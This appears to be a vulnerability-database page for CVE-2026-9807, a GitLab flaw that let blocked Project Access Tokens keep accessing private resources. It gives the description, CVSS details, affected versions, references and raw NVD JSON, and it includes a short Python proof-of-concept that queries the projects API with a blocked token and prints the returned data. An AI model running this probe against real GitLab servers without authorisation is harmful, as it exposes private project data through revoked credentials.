CVE-2026-9807

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.9 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that under certain conditions could have allowed a blocked Project Access Token to continue accessing private resources due to incorrect authorization enforcement.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GitLab CE/EE 18.9 < 18.10.7

GitLab CE/EE 18.11 < 18.11.4

GitLab CE/EE 19.0 < 19.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target GitLab instance URL
# Replace with the actual target address
target_url = "https://gitlab.example.com/api/v4/projects"

# Project Access Token that has been marked as blocked/revoked
# Due to CVE-2026-9807, this token may still be valid
blocked_token = "glpat-xxxxxxxxxxxxxxxxxxxx"

headers = {
    "PRIVATE-TOKEN": blocked_token
}

try:
    # Send request to access private resources
    print(f"[*] Attempting to access {target_url} with blocked token...")
    response = requests.get(target_url, headers=headers, timeout=10)

    # Check if the request was successful (200 OK)
    if response.status_code == 200:
        print("[+] Vulnerability confirmed! Access granted with blocked token.")
        print("[+] Leaked data (first 500 chars):")
        print(response.text[:500])
    elif response.status_code == 401:
        print("[-] Access denied. The token is properly blocked.")
    else:
        print(f"[?] Unexpected status code: {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[!] Error during request: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9807
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9807
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9807/
[4] VulDB https://vuldb.com/cve/CVE-2026-9807
[5] https://about.gitlab.com/releases/2026/05/27/patch-release-gitlab-19-0-1-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/work_items/590694
[7] https://hackerone.com/reports/3554993

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9807", "sourceIdentifier": "[email protected]", "published": "2026-05-28T09:16:49.760", "lastModified": "2026-05-28T09:16:49.760", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.9 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that under certain conditions could have allowed a blocked Project Access Token to continue accessing private resources due to incorrect authorization enforcement."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/27/patch-release-gitlab-19-0-1-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/590694", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3554993", "source": "[email protected]"}]}}